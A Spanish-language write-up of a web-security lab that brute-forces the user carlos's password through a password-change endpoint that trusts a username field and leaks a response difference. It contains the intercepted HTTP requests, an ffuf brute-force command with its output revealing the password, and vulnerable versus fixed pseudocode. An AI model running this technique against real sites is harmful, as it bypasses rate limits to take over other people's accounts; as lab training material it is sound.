12 Password brute force via password change
Al probar contrasenas para el usuario carlos, obtenemos un mensaje de Rate Limit, luego Al iniciar sesion con nuestras credenciales, obtenemos acceso a un panel de reset de contrasenas, al interceptar la solicitud de cambio de contrasena, se observa que existe un campo user en la solicitud POST, la cual indicaria un posible vector de ataque para actualizar el campo de contrasaenas a otros usuarios.
POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
username=wiener¤t-password=peter&new-password-1=peter&new-password-2=peter
Continuando con el benchmark, ocurren estoscasos:
- contrasena correcta + contrasenas nuevas escritas de forma diferente:
New passwords do not match - Contrasena incorrecta + contrasenas que coinciden: redireccion a login /login
En conclusion, nuestro indicador para reconocer que hemos logrado dar con la contrasena correcta es el filtrar por las respustas que contengan el texto New passwords do not match
POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
Cookie: session=sWcAxfi6zFZmJXnzRASVIBFgvM3adzol; session=wBGsS0hbZR78gRlC3s7FynBmxO48Z8Hh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net
Referer: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers
username=carlos¤t-password=FUZZ&new-password-1=abc&new-password-2=123
Metodo 1 : Fuzz
~/go/bin/ffuf -request enum.txt -w pass.txt:FUZZ -t 1000 -c -mr "New passwords do not match"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account/change-password
:: Wordlist : FUZZ: /home/computadora/writeups/pass.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
:: Header : Referer: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net/my-account?id=wiener
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Origin: https://0a7c005003289e1b835e320a0023002c.web-security-academy.net
:: Header : Sec-Fetch-Dest: document
:: Header : Sec-Fetch-Site: same-origin
:: Header : Sec-Fetch-User: ?1
:: Header : Cookie: session=sWcAxfi6zFZmJXnzRASVIBFgvM3adzol; session=wBGsS0hbZR78gRlC3s7FynBmxO48Z8Hh
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Sec-Fetch-Mode: navigate
:: Header : X-Pwnfox-Color: cyan
:: Header : Priority: u=0, i
:: Header : Te: trailers
:: Data : username=carlos¤t-password=FUZZ&new-password-1=abc&new-password-2=123
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 1000
:: Matcher : Regexp: New passwords do not match
________________________________________________
matrix [Status: 200, Size: 3981, Words: 1587, Lines: 77, Duration: 202ms]
:: Progress: [100/100] :: Job [1/1] :: 24 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
La vulnerabilidad ocurre porque el endpoint /my-account/change-password permite modificar el parámetro username en la solicitud POST y no valida que coincida con el usuario autenticado en sesión. Además, el sistema revela comportamientos distintos según si la contraseña actual es correcta o no: cuando es incorrecta redirige a /login, y cuando es correcta pero las nuevas no coinciden responde con New passwords do not match. Esta diferencia de respuesta crea un side-channel lógico que permite realizar enumeración y fuerza bruta de la contraseña de carlos desde una cuenta autenticada, eludiendo el rate limit aplicado en /login. Es un caso de Broken Access Control y Authentication Response Discrepancy según OWASP.
# Implementación vulnerable
# POST /my-account/change-password
if valid_session():
user = request.username # ❌ Confía en parámetro manipulable
if not valid_password(user, request.current_password):
redirect("/login") # ❌ Respuesta diferenciada
if request.new_password_1 != request.new_password_2:
return "New passwords do not match" # ❌ Oráculo de validación
update_password(user, request.new_password_1)
# Implementación segura
if not valid_session():
deny()
if request.username != session.user:
deny()
if not valid_password(session.user, request.current_password):
return generic_error() # misma respuesta siempre
if request.new_password_1 != request.new_password_2:
return generic_error()
update_password(session.user, request.new_password_1)